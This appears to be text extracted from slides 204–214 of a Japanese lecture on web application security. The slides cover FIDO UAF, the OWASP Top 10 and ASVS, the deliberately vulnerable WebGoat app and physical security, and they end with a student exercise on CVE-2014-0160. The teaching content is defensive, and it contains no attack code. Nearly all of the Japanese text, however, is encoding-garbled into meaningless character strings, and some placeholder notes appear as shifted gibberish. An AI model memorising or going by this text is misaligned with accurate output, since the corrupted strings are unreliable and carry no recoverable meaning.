FIDO UAF ੜମೝূ͕ඞཁʹͳΔͨΊෳࡶͳϋʔυ΢ΣΞ͕ඞཁʹͳΔ͕ Xperia XZ1͕FIDO UAF 1.1ʹ४ڌͨ͠ॳͷσόΠεʹͳͬͨࣄΛใ͡Δهࣄ https://fidoalliance.org/first-fido-uaf-1-1-implementations-ease-deployment- advanced-biometric-authentication-android-devices/ αʔϏε͕FIDO UAFʹରԠ͢Δ͜ͱͰ ͜͏ͨ͠σόΠεͷϢʔβʹύεϫʔυෆཁͷೝূΛఏڙͰ͖Δ ͜͜ʹ 9QFSJB9;͕'*%06"'ʹ४ڌͨ͜͠ͱΛใ͡ΔهࣄΛషΔ

Slide 204

Slide 204 text

Webϖʔδʹର͢Δ ߈ܸʹඋ͑Δ

Slide 205

Slide 205 text

OWASP https://www.owasp.org/ ҆શͳWebΞϓϦέʔγϣϯͷҝͷ৘ใͷڞ༗΍ܒൃΛߦ͏ ΦʔϓϯίϛϡχςΟ ͜͜ʹ 08"41ͷτοϓϖʔδΛషΔ

Slide 206

Slide 206 text

OWASP Top 10 WebΞϓϦέʔγϣϯ։ൃऀ΁ͷ஫ҙשىΛ໨తͱͯ͠ WebΞϓϦέʔγϣϯͷ୅දతͳ੬ऑੑΛ10छྨબΜͩ΋ͷ https://www.owasp.org/images/2/23/OWASP_Top_10-2017%28ja%29.pdf ࠷৽൛͸OWASP Top 10 2017Ͱ೔ຊޠ༁΋ଘࡏ͢Δ ͜͜ʹ 08"415PQͷදࢴΛషΔ

Slide 207

Slide 207 text

OWASP Top 10 ΠϯδΣΫγϣϯ ೝূͷෆඋ ػඍͳ৘ใͷ࿐ग़ 9.-֎෦ΤϯςΟςΟࢀর ΞΫηε੍ޚͷෆඋ ෆద੾ͳηΩϡϦςΟઃఆ ΫϩεαΠτεΫϦϓςΟϯά ҆શͰͳ͍σγϦΞϥΠθʔγϣϯ ط஌ͷ੬ऑੑͷ͋Δίϯϙʔωϯτͷ࢖༻ ෆे෼ͳϩΪϯάͱϞχλϦϯά

Slide 208

Slide 208 text

͜͜ʹ 08"415PQͷΠϯδΣΫγϣϯͷղઆΛషΔ OWASP Top 10 https://www.owasp.org/images/2/23/ OWASP_Top_10-2017%28ja%29.pdf ੬ऑੑͷछྨຖʹ ͲͷΑ͏ʹൃݟ͢Ε͹ྑ͍͔ ͲͷΑ͏ʹ๷ࢭ͢Ε͹ྑ͍͔ ͕వΊΒΕ͍ͯΔ ΠϯδΣΫγϣϯʹର͢Δ๷ࢭํ๏ ΠϯλϓϦλ͔ΒΫΤϦΛ౤͛ͳ͍ ύϥϝʔλԽ͞ΕͨΠϯλʔϑΣʔε ·ͨ͸ORMΛ࢖͏ ಡ΋͏

Slide 209

Slide 209 text

͜͜ʹ 08"41"474ͷදࢴΛషΔ OWASP Application Security Verification Standard WebΞϓϦέʔγϣϯͷ҆શੑΛݕূ͢ΔͨΊʹ νΣοΫ͢΂͖߲໨Λ·ͱΊͨ΋ͷ ࠷৽൛͸OWASP ASVS 3.0.1Ͱ೔ຊޠ༁΋ଘࡏ͢Δ IUUQTXXXKQDFSUPSKQTFDVSFDPEJOHNBUFSJBMTPXBTQBTWTIUNM

Slide 210

Slide 210 text

͜͜ʹ 08"41"474ͷνΣοΫ߲໨ͷҰ෦ΛషΔ OWASP Application Security Verification Standard IUUQTXXXKQDFSUPSKQTFDVSFDPEJOH NBUFSJBMTPXBTQBTWTIUNM ͋ΒΏΔΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ1 ݸਓ৘ใ΍վ͟Μ͞ΕΔͱࠔΔ৘ใΛѻ͏ ΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ2 ো֐ͷൃੜ͕૊৫ͷଘଓ΍ਓ໋ʹؔΘΔ ΞϓϦέʔγϣϯ͕ຬͨ͢΂͖Ϩϕϧ3 Ϩϕϧ্͕͕Δ΄ͲνΣοΫ߲໨͕૿͑Δ ύεϫʔυมߋػೳʹ ݹ͍ύεϫʔυͷೖྗ ৽͍͠ύεϫʔυͷೖྗ ৽͍͠ύεϫʔυͷ֬ೝ ͷ3ͭΛཁٻ͍ͯ͠Δ͔Ͳ͏͔ΛνΣοΫ WebΞϓϦέʔγϣϯΛ࡞ͬͨΒ νΣοΫ͠Α͏

Slide 211

Slide 211 text

͜͜ʹ 08"418FC(PBUͷը૾ΛషΔ OWASP WebGoat https://github.com/WebGoat/WebGoat JavaͰॻ͔ΕͨWebΞϓϦέʔγϣϯ ҙਤతʹ༷ʑͳ੬ऑੑ͕࢓ࠐ·Ε͍ͯΔ ੬ऑੑΛ࣮ફతʹֶͼ͍ͨ ࣗ෼ͷߦͳ͍ͬͯΔ੬ऑੑͷνΣοΫ͕ ਖ਼͍͔͔֬͠Ί͍ͨ ͦ͏͍͏࣌ʹ࢖͑Δ

Slide 212

Slide 212 text

࠷ޙʹ

Slide 213

Slide 213 text

͋ΒΏΔιϑτ΢ΣΞηΩϡϦςΟ͸ ෺ཧతͳηΩϡϦςΟΛલఏͱ͍ͯ͠Δ ѱҙ͋Δୈࡾऀ͕αʔόϧʔϜʹ৵ೖͯ͠ిݯέʔϒϧΛൈ͘͜ͱͰ αʔϏεΛఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ੬ऑੑ ·ͣށకΓ ιϑτ΢ΣΞηΩϡϦςΟ͸ͦΕ͔Βͩ ͜ͷΑ͏ͳ߈ܸʹରͯ͠ιϑτ΢ΣΞ͸جຊతʹଧͭख͕ͳ͍

Slide 214

Slide 214 text

՝୊ CVE-2014-0160 ͜ͷ੬ऑੑ͕Ͳ͏͍͏࣌ʹԿ͕ى͜Δ΋ͷͰ ͦͷ݁ՌͲͷΑ͏ͳѱӨڹ͕༧૝͞ΕΔ͔Λઆ໌͍ͯͩ͘͠͞ ͜ͷ੬ऑੑΛճආ͢ΔͨΊʹͱΓ͏ΔରԠΛ1ͭҎ্ड़΂͍ͯͩ͘͞